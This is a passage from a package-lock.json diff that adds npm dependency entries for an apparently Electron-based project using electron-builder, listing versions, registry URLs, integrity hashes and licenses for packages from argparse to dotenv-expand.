"sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/app-builder-lib/node_modules/@electron/get/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/app-builder-lib/node_modules/ci-info": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.1.tgz", + "integrity": "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/app-builder-lib/node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/app-builder-lib/node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "license": "MIT", + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/app-builder-lib/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/app-builder-lib/node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/asn1js": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/asn1js/-/asn1js-3.0.10.tgz", + "integrity": "sha512-S2s3aOytiKdFRdulw2qPE51MzjzVOisppcVv7jVFR+Kw0kxwvFrDcYA0h7Ndqbmj0HkMIXYWaoj7fli8kgx1eg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "pvtsutils": "^1.3.6", + "pvutils": "^1.1.5", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "dev": true, + "license": "MIT" + }, + "node_modules/async-exit-hook": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/async-exit-hook/-/async-exit-hook-2.0.1.tgz", + "integrity": "sha512-NW2cX8m1Q7KPA7a5M2ULQeZ2wR5qI5PAbw5L0UOMxdioVk9PMZ0h1TmyZEkPYrCvYjDlFICusOu1dlEKAAeXBw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/aws4": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.13.2.tgz", + "integrity": "sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==", + "dev": true, + "license": "MIT" + }, + "node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/body-parser": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", + "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", + "license": "MIT", + "dependencies": { + "bytes": "^3.1.2", + "content-type": "^2.0.0", + "debug": "^4.4.3", + "http-errors": "^2.0.1", + "iconv-lite": "^0.7.2", + "on-finished": "^2.4.1", + "qs": "^6.15.2", + "raw-body": "^3.0.2", + "type-is": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/boolean": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.2.0.tgz", + "integrity": "sha512-d0II/GO9uf9lfUHH2BQsjxzRJZBdsjgsBiW4BvhWk/3qoKwQFjIDVN19PfX8F2D/r9PCMTtLWjYVCFrpeYUzsw==", + "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/brace-expansion": { + "version": "5.0.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", + "integrity": "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/builder-util": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/builder-util/-/builder-util-26.15.3.tgz", + "integrity": "sha512-q2hn7Mbo2nFNkVekPiHFx6Nfo3hURmES3tfBn+k5Pqxl2RkmP3QGqZUhH/q9Pch/4G05NRhPjDlVj1O8q4Txvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/debug": "^4.1.6", + "builder-util-runtime": "9.7.0", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.6", + "debug": "^4.3.4", + "fs-extra": "^10.1.0", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.0", + "js-yaml": "^4.1.0", + "sanitize-filename": "^1.6.3", + "source-map-support": "^0.5.19", + "stat-mode": "^1.0.0", + "temp-file": "^3.4.0", + "tiny-async-pool": "1.3.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/builder-util-runtime": { + "version": "9.7.0", + "resolved": "https://registry.npmjs.org/builder-util-runtime/-/builder-util-runtime-9.7.0.tgz", + "integrity": "sha512-g/kR520giAFYkSXTzcmF3kqQq7wi8F6N6SzeDgZrqTBN+VHdmgWOyTdD1yD7AATDId/yXLvuP34CxW46/BwCdw==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.3.4", + "sax": "^1.2.4" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/bytestreamjs": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/bytestreamjs/-/bytestreamjs-2.0.1.tgz", + "integrity": "sha512-U1Z/ob71V/bXfVABvNr/Kumf5VyeQRBEm6Txb0PQ6S7V5GpBM3w4Cbqz/xPDicR5tN0uvDifng8C+5qECeGwyQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/cacheable-lookup": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.6.0" + } + }, + "node_modules/cacheable-request": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.4.tgz", + "integrity": "sha512-v+p6ongsrp0yTGbJXjgxPow2+DL93DASP4kXCDKb8/bwRtt9OEF3whggkkDkGNzgcWy2XaF4a8nZglC7uElscg==", + "dev": true, + "license": "MIT", + "dependencies": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^6.0.1", + "responselike": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chownr": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-3.0.0.tgz", + "integrity": "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/chromium-pickle-js": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/chromium-pickle-js/-/chromium-pickle-js-0.2.0.tgz", + "integrity": "sha512-1R5Fho+jBq0DDydt+/vHWj5KJNJCKdARKOCwZUen84I5BreWoLqRLANH1U87eJy1tiASPtMnGqJJq0ZsLoRPOw==", + "dev": true, + "license": "MIT" + }, + "node_modules/ci-info": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz", + "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/cjs-module-lexer": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.3.0.tgz", + "integrity": "sha512-lmNyBzi6iYiqyrExTctfmjd8tInx+dHu9PBomTfH5RXS53c27JMFJgzNv5TyAnm3PgGf+MLy0+Ws41/HlVxdKQ==", + "license": "MIT" + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/clone-response": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", + "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-response": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/compare-version": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/compare-version/-/compare-version-0.1.2.tgz", + "integrity": "sha512-pJDh5/4wrEnXX/VWRZvruAGHkzKdr46z11OlTPN+VrATlWWhSKewNCJ1futCO5C7eJB3nPMFZA1LeYtcFboZ2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/content-disposition": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-2.0.1.tgz", + "integrity": "sha512-e+H0ZXHSWYrENhQzw1LPuP4oF5MzVKmDU6d3hxlvaPEYLLg62MxtQNPRx4SYSuYJSBUgnQIG4HIN2tEtNv7Dog==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/content-type": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", + "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", + "license": "MIT", + "engines": { + "node": ">=6.6.0" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/cross-dirname": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/cross-dirname/-/cross-dirname-0.1.0.tgz", + "integrity": "sha512-+R08/oI0nl3vfPcqftZRpytksBXDzOUveBq/NBVx0sUp1axwzPQrKinNx5yd5sxPu8j1wIy8AfnVQ+5eFdha6Q==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/cross-spawn/node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/cross-spawn/node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress-response/node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/dir-compare": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/dir-compare/-/dir-compare-4.2.0.tgz", + "integrity": "sha512-2xMCmOoMrdQIPHdsTawECdNPwlVFB9zGcz3kuhmBO6U3oU+UQjsue0i8ayLKpgBcm+hcXPMVSGUN9d+pvJ6+VQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimatch": "^3.0.5", + "p-limit": "^3.1.0 " + } + }, + "node_modules/dir-compare/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/dir-compare/node_modules/brace-expansion": { + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/dir-compare/node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/dmg-builder": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/dmg-builder/-/dmg-builder-26.15.3.tgz", + "integrity": "sha512-O3zJUFUYHJKgzPqioHxfxzBzlSC1eXCSr79gMSBKBP5AgjjpmrydMsMLotEg9fAJF36vdUncb+4ndRNxoPdlSQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "app-builder-lib": "26.15.3", + "builder-util": "26.15.3", + "fs-extra": "^10.1.0", + "js-yaml": "^4.1.0" + } + }, + "node_modules/dotenv": { + "version": "16.6.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", + "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dotenv-expand": { + "version": "11.0.7", + "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-11.0.7.tgz", + "integrity": 